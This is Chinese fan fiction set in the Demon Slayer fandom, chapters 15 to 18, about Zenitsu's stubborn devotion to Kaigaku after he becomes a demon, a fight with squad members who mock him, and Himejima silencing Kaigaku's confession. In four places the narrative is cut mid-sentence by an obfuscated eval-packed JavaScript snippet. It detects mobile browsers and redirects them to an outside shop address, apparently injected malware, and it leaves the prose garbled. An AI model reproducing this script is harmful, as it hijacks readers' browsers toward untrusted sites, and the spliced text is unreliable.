“一点也不好!”我妻善逸脱口而出,“在桃山上的时候,只有我、大哥和爷爷三个人,我只能想办法和他打好关系!大哥加入鬼杀队以后,我不停地给大哥写信,但一封回信都没收到!后来,后来,我既然交到了你们这样的朋友,我也不是非要他喜欢我不可!既然他讨厌我,那么我也要讨厌他,本来都已经这么决定好了,信我也不打算再写了,可是,可是!” 一旦得知狯岳有可能死掉了,他连柱训练都敢翘掉。 在他看来,狯岳那么努力上进,是迟早要当上柱的人,即使不会一之型也是雷之呼吸最适合的继承者。 他虽然没多少自信,却对狯岳充满了信心,总以为,他们以后会有多时间相处,会有一天心灵相通,会用一种怀念的语气谈起过去种种,笑彼此当年的幼稚。 他从没想过,那么强的狯岳会差点去死,还是死在这么弱的自己前面。 好在他没死,只是变成了鬼。 好在他即使变成了鬼,也是不吃人的鬼。 我妻善逸对鬼没什么深仇大恨,他拿起刀,一开始,只是为了回应爷爷的期待。当得知爷爷为狯岳变鬼这事差点切腹谢罪,他吓了一跳,也对狯岳生出了埋怨之心,但因为爷爷还活着,这股埋怨之心并不多,很快被狯岳好不容易活下来这件事带来的喜悦冲淡。 ……明明都已经决定好了要讨厌他的。 可我妻善逸做不到,他的眼睛看到狯岳的脸庞,他的鼻子闻到狯岳的吐息,他的耳朵听到狯岳的心跳。 他的身心比他的脑袋更加清楚明白: 我妻善逸拒绝讨厌狯岳。 到头来,还是非他不可。 灶门炭治郎挠头:“那么,你想从狯岳先生那里得到什么呢?” “我……我一直看着大哥的背影,我想追上他的脚步,帮上他的忙,和他并肩作战。”我妻善逸失落地回答,“可他好像,一点也不想。” 一般都会接受吧,一般都没必要拒绝的吧,这是很正常的师兄弟互动啊! 然而,狯岳就是要和他划清界限,和他彻底切割开来,显得他像个死缠烂打的笨蛋一样。 可当他知道,狯岳其实有看他写的信,又让他觉得,继续当个笨蛋……也不是不行。 “只要你确实追了上去,和他分配到一个任务当中,他又不能把你赶走。”灶门炭治郎觉得没关系。“然后你就可以展示自己的实力,获得他的认可。现在的你,已经变强了很多,一定有一天能和狯岳先生并肩作战。” 好像……也只有这样了。 但内心深处有一个细小的声音告诉他:不够。 什么不够? ……就是不够。 只追上狯岳的脚步不够。只获得狯岳的认可不够。 那怎样才够?要做到什么地步? 可一时半会儿的,他自己也搞不明白。 他只想起初见面时,握着剑的狯岳在桃树下漫不经心地回眸,那双绿色的眼瞳又漂亮又清澈,好像盛满了春天一样。 “好烦啊!”嘴平尹之助忍不住了,“你们在说些什么听不懂的玩意!有什么问题的话,就打一架解决啊!” 我妻善逸:“……那我可能会被打死。” “那谁,那么强吗?” “那当然,他可是我大哥!” “完全没听过!” 因为我妻善逸根本就没提过。 想也知道,狯岳也不会在别人面前主动提起他,他一定会觉得,有他这样的师弟是件很丢脸的事情。 他也知道自己没用,不想给狯岳丢脸,所以也从来不提。 提爷爷就没关系,反正爷爷不会嫌弃他。他在日复一日的撒娇耍赖中确认了这一点。 如果狯岳也能像爷爷一样就好了,能容忍他的撒娇耍赖,表面上嫌弃实际上不会生气,在他害怕退缩的时候会说软话哄他—— 那就不是狯岳了,呵呵呵。 “喂,你!” 就在我妻善逸心烦意乱的时候,有人在远处大喊,气势汹汹地向这边走来。 “别东张西望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105524|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就是你!金发的小子!”这个人伙同另外两位队士,摆出一副兴师问罪的模样,“发生了这样的事情,你竟然还有脸呆在鬼杀队里!” 我妻善逸瞬间拉下脸:“啧。” 这几个胆敢在背后议论大哥的小人,还活着呐,运气真好。 怎么不是他们几个碰上上弦一呢? “我们都看到了,岩柱大人正在教训那个变成鬼的狯岳!那可是鬼!”这些家伙对着我妻善逸指指点点,“猎鬼人变成了鬼,也太可笑了!不切腹谢罪就算了,还敢死皮赖脸出现在柱的面前,你们雷之呼吸真是厚颜无耻!” ——出现了。 这些看不惯鬼的角色,本质上是看不惯狯岳而已,所以抓到一点把柄就迫不及待跳出来找茬。 “你们太过分了!”灶门炭治郎站出来,“狯岳先生又没有吃过人!他没有罪!” “哈?你说没吃过就没吃过?鬼都是些满口谎言的垃圾!” “你认为,你那毫无根据的猜想,会比主公大人的判断更准确?!” 话音落下,这几个人被噎住了,但事情并未到此为止: “别拿主公大人当借口!就算他没吃人,变成鬼就是该死!这么多年以来,从没听过哪个鬼杀队队士变成了鬼,凭什么鬼要对他网开一面!他一定是和鬼做了什么见不得人的交易才活下来!” “就是,主公大人一定也是被他骗了,才会容许他继续待在队内。像他那种装腔作势的软骨头,一定是跪在敌人面前摇尾乞怜才——” 话音未落,我妻善逸就一拳揍了上去。 第二次了。 他们的阶级更高怎样,殴打同僚属违反队律又怎样? 这种人,这种渣滓,说了不该说的话,就活该挨打! 即便他以为自己很弱,即便对方人多势众…… 狯岳到底怎样,还轮不到他们胡说八道! “怎么回事?打架?”嘴平尹之助还搞不清楚状况,但立马跟上,毫无顾忌地往前冲:“哈哈哈哈哈,纹一,我来帮你!” “冷、冷静一点!”村田瞠目结舌,“好好解释说明的话,大家一定能理解……喂,炭治郎,你也来——你在干嘛?!” “这就是祢豆子的情况暴露之后,会面临的质疑吗,”灶门炭治郎神色凝重,活动手脚,“我也不能袖手旁观!啊,村田先生你别担心,我是去拉架的。” 至于拉的是哪边别管。 村田把最后的希望放在不死川玄弥身上,就见不死川玄弥“啧”了一声,挠了挠脸:“悲鸣屿先生在哪里,你知道吗?” 村田:“……” 村田:“…………” 村田:“连你都不知道他在哪里的话,我就更不可能知道了啊!” 万万没想到,几人在柱训练中获得的成果,还没在鬼身上实践,就尽数用在了本该是自己人的混蛋们身上。 ——啊啊,搞了半天,还是尹之助说得对。 一片混乱中,我妻善逸心不在焉地想。 ——不管是什么问题,还是得先打上一架再解决。 16. 第十六章 到最后,还是不死川玄弥见几个来找事的家伙被他们揍成猪头,这才慢慢吞吞把悲鸣屿行冥找了过来。 悲鸣屿行冥:“……” 就用力摸了摸不死川玄弥的脑袋,把他按得左摇右摆,连“下次你的动作最好再快一点”这种话都没说。 “狯岳虽然变成了鬼,但依然是鬼杀队的一员。”他慢条斯理地下结论。“你们可以不喜欢他,可以不信任他,但不必贬低他,也不能强迫他和他的亲友和你们保有相同的观点。” 简而言之: 不要贴脸找事。 至于另一边,悲鸣屿行冥完全是轻拿轻放。罚他们口头道歉,罚他们训练加倍。 ——这不跟没罚一样吗! 还有就是: “我妻善逸,你来一下。” 悲鸣屿行冥把我妻善逸单独叫了出来。 “啊,是!”我妻善逸忐忑不安地跟上前,“请问,您找我是有什么事吗?” 悲鸣屿行冥问:“在你心中,狯岳是个什么样的人?” “很厉害的人?” “……” “……” 想也知道,这不是悲鸣屿行冥想听的东西,“您突然这么问,我也不知道该怎么说啊……反正,反正,大哥,是我很重要的人。”我妻善逸顿了顿,“最重要的是爷爷,然后就是大哥了。” “你喜欢他。” “……是。” “但我听说,他好像不太喜欢你。” 我妻善逸:^=_=^。 “他会喜欢我的——我是说,我也没那么差劲吧,”他忍不住放大音量,“我已经很努力要跟上他的脚步了,在和上弦的战斗中也好不容易才活下来,柱训练的时候也没有偷懒,我——” “你误会了,”悲鸣屿行冥打断他的话,“我没有说你不好的意思。” “……大哥也没有不好,只是我以前的表现的确有些差劲。”我妻善逸帮狯岳找补,“他以前对我也……挺好的,我总是掉到训练用的陷阱里,他每次都会帮忙把我捞出来。” 虽然狯岳那副表情非常不耐烦,总在心里说他怎么不干脆摔死在里面。 “我胡乱向女孩子求婚的时候,他也会按着我的背替我向人家道歉。” 虽然狯岳的内心是崩溃的,抱怨怎么摊上这么个师弟害他跟着一起丢脸。 “我差点被雷劈死的时候,是他飞快跑到山下把医生背回来救我,”我妻善逸慢慢回想起了更多,“我的基本功是他教的,挑选桃子的方法也是。我打小生活在城里,山里的一切都不适应,整天哭个不停。大哥虽然嫌我烦,但被我烦的受不了了就会一边骂骂咧咧一边照顾我……” 第一次握剑的手长出了好多水泡,练习剑型的时候脚也长出了好多水泡。他痛得一直哭,装出不会处理的样子,想要逃避训练。 但孤儿出身的他,怎么可能不懂怎么处理水泡? 是狯岳受不了他一直哭,把他带进自己的房间,一边骂他娇气,一边帮着他把水泡挑开,把脓液挤出来。然后看他手抖得捏不住针,又吐出一口气,认命了似的帮他把所有水泡都处理完,再好好上药。 这过程中,狯岳并没有故意弄痛他。他做什么都很认真,连包扎伤口这种事也是,只在最后缠完绷带后,才不轻不重地在上面拍一下,表示自己的不满。 他又想起雷雨交加的夜晚,山里比城里要安静许多,风声雨声雷声也变得可怕许多,一点也不像他往日里习惯的那样。 风仿佛要把整座房屋都刮走,雨仿佛要把一切都淹没,雷仿佛要把他的灵魂都劈散。 不敢吵醒爷爷,于是他慌不择路地逃向了狯岳,在他面前堵着嘴哭得涕泪横流。他至今仍记得狯岳那副既震惊又困惑的表情——这样的家伙凭什么被老师看中,特意带来山上? 一定是老师看走眼了吧! 出于那点微不足道的怜悯心和随之而来的优越感,那天晚上狯岳同意了他的靠近。他得以钻进狯岳温暖的被窝,鼻间全是狯岳的味道。那是种草木般生机勃勃的味道,夹杂着一股桃子成熟的清香。 接着他抱住狯岳的腰,把脑袋塞进他的胸口,用他的心跳来抵御那些让他害怕的声音。狯岳显然不习惯这么亲密的动作,一开始有些慌乱,但既然推不开,也就随他去了,毕竟时间实在太晚,而第二天还要早起训练。 因为所以,我妻善逸的目光会落在狯岳身上,是理所当然的事情。 他看见狯岳专注的脸庞,俊秀的眉眼舒展开来,漂亮得像雏人形一样;他看见狯岳挺直的脊背,凛然的身姿优美灵动,像一把刀……不,更像一张绷紧的强弓。 那一瞬,他是他对未来的全部渴望。 狯岳的作为让我妻善逸看到了希望,或许随着时间过去,狯岳的态度会进一步软化,他们会成为真正的一家人…… 直到他学会一之型,一切忽然急转直下。 表面上,狯岳并没有任何改变。他一如既往地训练、休息、完成家务,但他的心无时无刻不传来漏风的声音,听得我妻善逸又委屈又难过。 他不是故意的呀! 上天把本该独属狯岳的天赋拆成两部分,一部分给了狯岳,一部分给了自己。或许掌管天赋的神是个恶趣味的变态,就想看他们师兄弟互相争斗。 但他一点也不想和狯岳争,他只想当爷爷的孙子、大哥的弟弟,鸣柱的继子这种身份,全给大哥都行。 可对于狯岳来说,一日学不会一之型,就一日无法面对我妻善逸。 我妻善逸:就不能当他是个承载一之型的挂件吗?! 正因为他有天赋,所以他学会了一之型,无可奈何地给狯岳添堵;可若他没有天赋,他不会被爷爷带上桃山,两个人连相遇都不可能。 这是个解决不了的悖论。 “这样啊。”悲鸣屿行冥低下头,“桃山上的狯岳,是个勤奋的好孩子。” “是的。比起我,大哥更让爷爷满意。爷爷总让我拿他当榜样。” “即使他变成了鬼?” “……” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105525|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不好说了。 爷爷切腹未遂这件事,他是从啾太郎带来的信上知道的,当即被吓得要跑回桃山看情况。 可信的末尾附上了爷爷的亲笔,他措辞严厉地要求他珍惜柱训练的机会,不要半途而废,更重要的是,要替爷爷看好狯岳。 爷爷的态度,是庆幸,还是懊悔,从这样的信件中,根本看不出来。 而狯岳的鎹鸦死了,被上弦一起手就干掉。狯岳不给爷爷写信,爷爷也不给狯岳写信。 到底是千言万语说不尽,还是事到如今无话可说? 又或者仅仅是,不知道该怎么面对而已。 反正他不想去做那个戳破一切的人,就只有先放置一边,等以后再说。 他相信,只要等狯岳以鬼的身份立下功绩,一切问题,都将不成问题。 所以我妻善逸昂首挺胸,理直气壮: “现在的大哥也是我的榜样!” ——但榜样本人并不想当这个榜样。 为了迅速恢复粉碎性骨折而变成小孩子模样的狯岳,看着被悲鸣屿行冥带来的我妻善逸,露出了不加掩饰的嫌弃表情。 他本不想和悲鸣屿行冥继续待在一起。 但在看到我妻善逸的时候,又觉得,悲鸣屿行冥也不是不行。 而且,“你又惹事?!”他一眼就看出来,我妻善逸和人打了架,“不会又是顶撞上级队士吧?!” 我妻善逸瞪大眼睛:“大哥你这模样也太凄惨了吧?!” 然后两个人又同时回答对方的问题: “我这是认真训练!” “都怪他们说大哥坏话!” 狯岳的眉毛拧成一团:“早说了和你没关系,不要管我的事!” “怎么可能不管,你是我大哥啊——你没事吧?看起来流了好多血!” “我是鬼,这种程度而已——而且我是你师兄,不是你大哥!我都变成鬼了,雷之呼吸只剩下你,你有没有雷之呼吸继承人的自觉啊?!不要把老师剩下那点脸全都丢光了!” “哈啊?!我才不是什么雷之呼吸的继承人,大哥你才是啊!你现在也是啊!变成鬼算什么丢脸,如果你觉得丢脸,也不能怪我嘛!反正我丢脸也不差这一次了!” 悲鸣屿行冥:…… 悲鸣屿行冥:好吵啊。 “冷静,狯岳。”他准确地按上暴怒的狯岳的脑袋,“你们……是兄弟,是一家人,要好好相处。” 他能听出我妻善逸的真诚,相信我妻善逸对狯岳抱有真挚的情感。 于是他自然而然地认为,狯岳多少也会有所回应,不然,如此仰慕狯岳的我妻善逸,不就显得太一厢情愿了吗? 这小子训练的时候叫苦叫累,意志不坚,看着也不像那种会自找苦吃的人。 万万没想到,这样温情脉脉的话,居然能让狯岳的怒火更上一层楼: “开什么玩笑,什么一家人?!我才不要陪这个废物玩过家家!” 话音落下,悲鸣屿行冥把狯岳的脑袋按进了地板。 17. 第十七章 我妻善逸:⊙口⊙!!! 原本的愤怒和伤心全部转化成了担心:“大哥?!悲鸣屿先生,大哥他一定不是在说真心话!” 他扑上前,把狯岳从悲鸣屿行冥松动的手下挖出来,抱在怀里。 因为又一次遭到重创,狯岳的身形又缩小了一点,如果说刚才看起来有7、8岁,这次看起来只有5、6岁了。 “南无……阿弥陀佛。”悲鸣屿行冥试图平复自己的情绪。“狯岳,为什么要对善逸恶语相向?” “因为我是个人渣啊。”狯岳咳嗽几声,吐出一块碎裂的内脏,“你不是早就知道了吗?” “啊啊啊啊啊,大哥你别说话!”我妻善逸试图用自己的声音掩盖狯岳的回答,情急之下,把手指插进了狯岳的喉咙。“对不起大哥,对不起,都是我的错!所以你不要这样好不好!” 狯岳:^=口=^。 他勃然大怒,但没多少力气反抗:“呜呜呜呜呜!” 我妻善逸一边向狯岳道歉,一边试图让他闭嘴,一边试图安抚他的情绪,简直焦头烂额。 悲鸣屿行冥看着手忙脚乱的我妻善逸,问道: “为什么你要道歉?” “因为……因为是我非要大哥当我大哥的!”我妻善逸的脑子从没像现在这样迅速运转过,“大哥……大哥有自己的喜好,没有非得……非得把我当成弟弟的义务,就……就像,女孩子不是非得……非得接受我的求婚,一样。” 悲鸣屿行冥张了张口,欲言又止。 这倒是理所应当。 但是,只是结为异姓兄弟而已,又不是结婚,一个人,真的能对另一个人的示好,如此不管不顾吗? 狯岳:当然能! 嘴被堵而被迫支支吾吾的狯岳安静下来,难得给了我妻善逸一个赞赏的眼神:你居然知道这个道理啊! 可我妻善逸把自己说伤心了,把手指从狯岳的嘴里抽出来,捧着他的后脑往自己的脸上贴,眼泪哗哗往下掉:“呜呜呜,大哥,我知道你和那些骗我钱的女孩子不一样,喜欢就是喜欢、讨厌就是讨厌,不会想骗我钱所以不会说谎话哄我……可如果大哥你也想骗我的钱就好了……我情愿被你骗……” 狯岳胃里一阵翻滚,原本发白的脸开始发青,伸手推我妻善逸的脸:“我的钱够用了!我才不需要骗你的钱!” “但是,但是,我担心你啊!连我这样的人都交到了朋友,大哥却还是独来独往,遇到刚才那种事,都没人帮你说句话。虽然看上去很帅气,可人都是会寂寞的吧?” “那也不关你的事!你不是已经交到了朋友吗?把你多余的精力全部放在他们身上就可以了!离我远点!” “……” “……” 我妻善逸:^=皿=^。 固执到这份上,除了狯岳,也没谁了,连他也忍不住想生气。 不过,这时候的我妻善逸,其实疑惑多过气愤: 这家伙,到底为什么这么油盐不进,心脏是石头做得吗? 老实讲,这过于决绝的抗拒,不但没有打消他的好奇心,反而还激起了他的逆反心理。 于是他收起眼泪,语气一变:“不要!” “你这混账!”狯岳咬牙,“刚才是在装哭吧!” 我妻善逸眼神游移:“我只是泪腺比较发达……反正我现在是你的监护人,不可能远离你。” “……” “所以,就算你再讨厌我,也不可能甩开我。”他斜眼看他,幽幽道,“大哥,你接受不了我没关系,你得习惯我。” ——为什么、为什么,非得这么纠缠不休不可! 连悲鸣屿行冥这个看不见的人,都能从狯岳那剧烈的喘息中读到了他想说、又气到脑袋发晕,以至于说不出口的话。 “南无阿弥陀佛。”悲鸣屿行冥拨动念珠,“狯岳,你为什么这么讨厌善逸?” 狯岳:关你什么事啊! 但还是努力平缓心情,咬着牙开口:“因为我气量狭小,嫉妒他会我不会的一之型。” “不只是这样吧?!”我妻善逸反驳,“嫉妒的份量只有一点点,是更复杂的、我完全听不懂的——” “你这混蛋,别随便听我心声!”狯岳伸手揪我妻善逸的耳朵,“偷窥狂!变态!” “我这是天生的又不是故意的!” “那你装没听见啊!” “听见了就是听见了,怎么可能装没听见!” “你不是很会装吗?!在老师面前装成弱小的样子,一惊一乍,哭哭啼啼,浪费老师的时间!” “可我本来就很弱小!才不是装的!” “呵呵,我管你装不装!算了,赶紧给我变回以前的样子。” “以前?什么样子?” “那副畏畏缩缩一句话都不敢多说的样子。” “……我那个时候是不想惹你生气,但现在……都这样了。” 潜台词:事情发展到了这地步,会不会惹狯岳生气已经不是重点了。 狯岳:^=_=^。 他张口结舌,与我妻善逸面面相觑,一时间,两个人不知道该说些什么好。 沉默片刻,狯岳率先把脑袋转开,不再看我妻善逸,但我妻善逸垂下眼帘,不顾他的挣扎,把他抱得更紧了。 悲鸣屿行冥叹了一口气:“狯岳,不管你为什么讨厌善逸,你都应该珍惜善逸的心意。” 狯岳抬眼看着悲鸣屿行冥,忽然,冷笑一声。 “心意这种东西,是很容易改变的,完全靠不住。”他的盯着悲鸣屿行冥那双白色的眼睛,“人不可能靠那种虚无缥缈的东西活下去。一点用都没有。” 我妻善逸鼓起腮帮子:“怎么会没用呢!我现在的确是真心实意想要——” “那是因为,你不知道我是个什么样的人。”狯岳打断他的话,把视线挪回来,投到他的脸上:“如果你知道,你绝对会后悔。” “我才不会后悔!” “……真蠢。不止是你,连那个老头子都会后悔的。” 我妻善逸过了一会儿才反应过来,狯岳居然用“老头子”这三个字来称呼爷爷! 悲鸣屿行冥皱起眉头:“狯岳!” “一开始不是说过了吗,我是个人渣啊。”狯岳没有理他,上下打量我妻善逸,“这个傻小子之所以会说出这种话,是因为他不知道我到底有多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105526|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烂。” 他顿了顿,表情也好、语气也好,都诡异极了: “这一点,行冥老师,你最清楚了,不是吗?” 悲鸣屿行冥抓紧了念珠。 “这两天和我待在一起,你很不自在吧?”狯岳戳破了假象,“你可是岩柱,还是不要勉强自己比较好哦。” 我妻善逸:“……” 我妻善逸:“???” “大哥……你在说什么啊!”他睁大了眼睛,“什么勉强不勉强的,你在想什么危险的事情?!心声变得好可怕!” “不不不,并不危险,我只是想要告诉你一些事而已。”狯岳竟然冲着我妻善逸笑了,眼神中透出一股孤注一掷的疯狂。“不管你以为我是什么样的人,我和你的想象都绝对不一样。你不是很好奇,我为什么会和岩柱认识吗?我现在就可以和你说,因为——” 然而,不等他把话说完。 悲鸣屿行冥出手了。 他飞快出现在两人面前,捂住了狯岳的嘴,不让他继续吐露那丑陋难堪的真相。 “别说了。” 狯岳睁大眼睛看他,但悲鸣屿行冥的眼睛看不见。他只能看见这个大和尚又开始流眼泪,泪水滴在了他的脸上。 “往事……都过去了,”悲鸣屿行冥从牙缝里挤出这句话,“活着的人,才更重要。” 然后,他慢慢把手拿开。 “不要说。至少,不要在这种场合,这么轻佻地说出来。”悲鸣屿行冥转而摸了摸狯岳的头发。“不要被过去困住了。你还有未来。” 狯岳面无表情,像小时候那样低下头,感受悲鸣屿行冥掌心的温度。 未来…… 的确,死了就什么都没有了。因为他还活着,所以他还有未来。 所以他无论如何都得活下来。 所以拿其他人当垫脚石也要活下来。 当人处在底层的时候,是没有多少选择的。生存的本能构成了他的全部,尽是野蛮尽是残酷。能让他活下来的就是对,会让他死去的就是错,除此之外的思考都是多余。是吃饱了撑的产物。 所以即便再来一百遍,他也会做出同样的选择。没有后悔的余地。 所以那些死去的孩子们,哭着喊着不情不愿地用他们的未来,做了他生命的燃料。 所以悲鸣屿行冥是不会原谅他的,他只是饶过了他。何况,就算悲鸣屿行冥饶过他,死去的孩子们也不会放过他,他也不需要他们的放过,他们也不需要他的忏悔,他也绝对不会因此忏悔。不管他怎么想,不管旁人怎么想,事实摆在那里,过去不会磨灭,污点不会消失,他做不了清廉洁白的好人。人生从一开始就走偏,回不了头也改不了道,一切已经钉死在了那个可怕的夜晚。他的生命早早套上了厚重的枷锁,不管得到什么都无法挣脱开来。 注定要下地狱的他,怎么可能和我妻善逸这样得天独厚的人嘻嘻哈哈。 然而,“和善逸回去休息吧。”悲鸣屿行冥吩咐。“明天再继续训练。” 不能接受怎样,不断拒绝又怎样? 他到底,还是被迫和我妻善逸绑在了一起。 这该死的命运,真踏马恶心人。 18. 第十八章 狯岳疲惫地闭上双眼,在我妻善逸晃动的怀抱里沉沉睡去。 “……睡着了。” 我妻善逸吃了一惊,停下脚步,微微睁大眼睛。 鬼是不需要睡眠的,这段时间以来,狯岳一直精神奕奕,在夜间尤甚,仿佛一只昼不伏夜照出的猫。 话又说回来了。 睡着的狯岳,和平时的他,完全不一样! 我妻善逸以前就知道,当他睡着的时候,那双总是拧着的眉就会舒展开来,那张冷酷的脸也会变得平静无防备,不再拒人千里之外。 更何况,现在的他,还保持着小孩子的模样,又小又软,白皙的皮肤就着脸上的鬼纹,还真像一只黑白花色的猫。 好乖、好可爱! 我妻善逸看了一会儿,心花怒放,小心翼翼地伸手摸了摸狯岳的脸。 有点凉。 方才不知哪里去了的狐狸不知从哪里冒了出来:“哟。” “嘘!”我妻善逸把食指放到唇边,压低音量,“小声点!” 狐狸:“……” 狐狸:“我的声音很小,是你的耳朵太灵敏。” “……反正你记住小声就行。” 狐狸:^=_=^。 然后就见我妻善逸像发现了新大陆一样,对狯岳这里戳戳那里摸摸,还低下头闻了闻他脸上的味道——那应该满是血腥味才对吧! ……说不定还有点脑浆的味道骨髓的味道,总之肯定不太好闻。 “善逸……你,”狐狸毛都炸了,“你变态啊?!” 我妻善逸:→_→。 我妻善逸:“才、才不是变态!只是大哥这个样子真的很少见……没想到,小时候的大哥这么可爱,嘿嘿。” 狐狸却说:“你大哥小时候绝对没有这么可爱。” “啊?” “他现在只是模样是小孩子,骨骼和肌肉都很健康,所以显得非常可爱。但小时候的他,可是个饥一顿、饱一顿的流浪儿。面如菜色、皮包骨头的小萝卜头,能可爱到哪里去?” 话音落下,我妻善逸愣了愣: “大哥小时候,也是流浪儿吗?” “咦,你不知道?” “……我只知道大哥和我一样没有父母。可大哥不是为了出人头地,才上桃山接受训练的吗?” “……” “……” “你该不会还以为,他是什么大户人家的小少爷吧?!” “啊,那倒不会,毕竟大哥没有姓。” 以前的平民都没有姓,姓是只有家学渊源的士族才能拥有的东西。 虽然政府颁布了苗字必称令,但需要严格遵守法令的也只有登录了户籍的老实人。 不是所有人都愿意配合人口统计,有相当一部分人不打算随便给自己取个姓,就这么糊里糊涂地继续生活。 “但他有勾玉吔,对爷爷也尊敬多过亲近,我以为,我以为,他那副讨厌的样子是被家里人捧出来的,所以才会对看不上眼的……我,这么不屑一顾。” 搞了半天,他们俩其实是一样的吗? 那为什么,狯岳始终无法理解他的心情? 明明有着相似的过去,一无所有的他们,应该相依为命才对吧! 此外,他也很在意狯岳没能说出口的那件事,但想来不是什么好事,不然悲鸣屿行冥不会那样阻止。 想到这里,我妻善逸忍不住叹了一口气:“大哥小时候,一定很辛苦。” 狐狸眯起眼睛:“你有斯德哥尔摩综合症吗?” “啥玩意?” “被人粗暴对待反而会自我攻略的类型。” “……怎么想都不可能吧!” “那就是单纯的好心?心地善良?”狐狸歪了歪头,“我看你也不像是喜欢做无用功的那种人啊。” “梨花,你想说什么?” “狯岳都拒绝地这么激烈了,你还在坚持什么呢?要知道,你想要的,不一定是狯岳想要的。” 兄弟不合到这个地步,狐狸认为,还是应该先多给一点时间,多缓冲一下比较好。 然而我妻善逸眨巴着眼睛: “我管大哥想要什么干嘛?” “……” “……” 狐狸傻乎乎地张大嘴巴: “……啥?” “大哥到底在想什么,我根本搞不懂。我只知道他不喜欢这个、不喜欢那个,完全是在做排除法。”我妻善逸抱怨,“到现在,我也懒得搞懂他了。我反正只管我想要什么不就行了吗?” 啊,这。 狐狸惊讶地踩着爪子,不知道该说什么好。 “大哥都不在乎我的感受,我干嘛要在乎他的感受,何况,他现在落在了我手里。”我妻善逸捂着狯岳的耳朵,没忍住,又摸了一把他的耳朵尖。“就算明天会被他打死,今天也要过把瘾——我现在就是这么想的。” “……彻底放飞自我了啊。你不怕他了吗?” “我本来就不怕他啊。” “……” “……” “真的假的?再说一遍?” “我本来就不怕他,我只是怕他生气——这两件事是有本质区别的好么。” “……有点道理。” “现在看来,惹大哥生气也没什么,他也不会拿我怎么样。” “……那是因为你目前为止的行动也没有太过分。” “如果我再过分一点,大哥也会容忍我的吧,毕竟他变成鬼了吔,是他理亏。” “……” “……” 这居然也是我妻善逸?! 狐狸才是发现了新大陆:“原来你是这么得寸进尺的人吗?!” “这、这是合理试探!”我妻善逸心虚地说。“何况,大哥恶心了我这么久,我恶心一下他怎么了!” 狐狸欲言又止,止言又欲:“你高兴就好。” 我妻善逸还真就高高兴兴地抱着狯岳去了悲鸣屿行冥给他们准备的房间,还拜托灶门炭治郎帮忙烧了热水,哼着歌儿用毛巾把脏兮兮的小猫崽一点点擦干净,再塞到干燥清爽的被褥里。 于是,等狯岳醒过来,睁眼就是我妻善逸那张蠢兮兮的脸。 原本平静的表情立刻拉了下来,浑浑噩噩的脑袋也一下子变清醒。他试图离开被窝,但我妻善逸一只手揽着他的脑袋,另一只手揽着他的腰,箍得他动弹不得。 这小子,当他抱枕吗?! 但并不是毫无心理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105527|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备,毕竟我妻善逸睡觉的时候一向不老实,尤其是冬天,还能梦游,睡着睡着就跟个八爪鱼似的缠上来。桃山下的医生说,梦游的人不能被吵醒,狯岳只好不动声色地扒他,都扒出心得了。 本以为再也用不上的心得,居然还有被重新利用起来的一天,这个无奈的现实令狯岳胃里一阵扭曲。 “我还以为,你会把他一脚踹开呢。”看着好不容易钻出来的狯岳,狐狸评价道:“看来,你也没你说得那样讨厌他嘛。” 狯岳翻了个白眼:“我只是不想惹麻烦。” 说着,他从小孩子的模样恢复成了少年模样。 狐狸仰起头看他:“虽然这样很帅,但还是小一点更可爱。” “可爱又没有用。” “那是你不会用。只要你保持刚才那副样子,可以分分钟把善逸骗得团团转,让他为你赴汤蹈火、上天入地在所不辞……” 话音未落,狯岳的脸也扭曲了。 狐狸:→_→。 狐狸:“我只是打个比方,你不用这么嫌弃。” “他人的怜爱是靠不住的。”尤其还是我妻善逸这个废物的怜爱,狯岳拼尽全力把注意力从“善逸”这两个字上拿走:“只有自身的强大才有意义。” “个人的强大也是有限度的。” “总比弱小有用。” “我的意思是,和他人建立联系,把他人的力量收编为自己的力量,比一个人单打独斗更加强大。毕竟,连鬼王都创造了十二鬼月为他卖命,不是吗?” “……” “……” “梨花。” “在。” “你是打算做那个废物的说客吗?”狯岳神情严肃,“你为什么会有这种想法?” “倒不一定非得是善逸,只不过,除了他,你有其他说得上话的同伴、不、同行者吗?” 